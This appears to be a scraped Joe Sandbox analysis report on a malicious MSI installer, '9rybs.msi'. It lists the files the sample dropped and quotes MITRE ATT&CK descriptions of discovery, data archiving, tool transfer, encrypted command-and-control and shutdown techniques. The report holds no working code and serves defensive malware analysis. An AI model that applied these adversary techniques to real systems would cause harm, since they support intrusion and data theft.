Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 9rybs.msi

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\Public\PeFI\vJrY.png

C:\Users\Public\PeFI\vJrY\PeFI.png

C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe (copy)

C:\Users\Public\PeFI\vJrY\WebView2Loader.dll (copy)

C:\Users\Public\PeFI\vJrY\WebView2Loader.dll.png (copy)

C:\Users\Public\PeFI\vJrY\vJrY.png (copy)

C:\Users\user\AppData\Local\AdvinstAnalytics\66ac0c9e2ff508bfba878aa5\8.7.6.8\tracking.ini

C:\Users\user\AppData\Local\AdvinstAnalytics\66ac0c9e2ff508bfba878aa5\8.7.6.8\{AF3E5550-CCB7-4030-8139-9A55D2075DE7}.session

C:\Users\user\AppData\Local\Temp\shi64B2.tmp

C:\Users\user\AppData\Local\Temp\shi6530.tmp

C:\Users\user\AppData\Local\Temp\surf.xml

C:\Windows\Installer\495fa1.msi

C:\Windows\Installer\MSI6185.tmp

C:\Windows\Installer\MSI62DE.tmp

C:\Windows\Installer\MSI635C.tmp

C:\Windows\Installer\MSI6467.tmp

C:\Windows\Installer\MSI6487.tmp

C:\Windows\Installer\MSI6F17.tmp

Windows Analysis Report
9rybs.msi

**\Device\Mup\user-PC*\MAILSLOT\NET\NETLOGON**

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre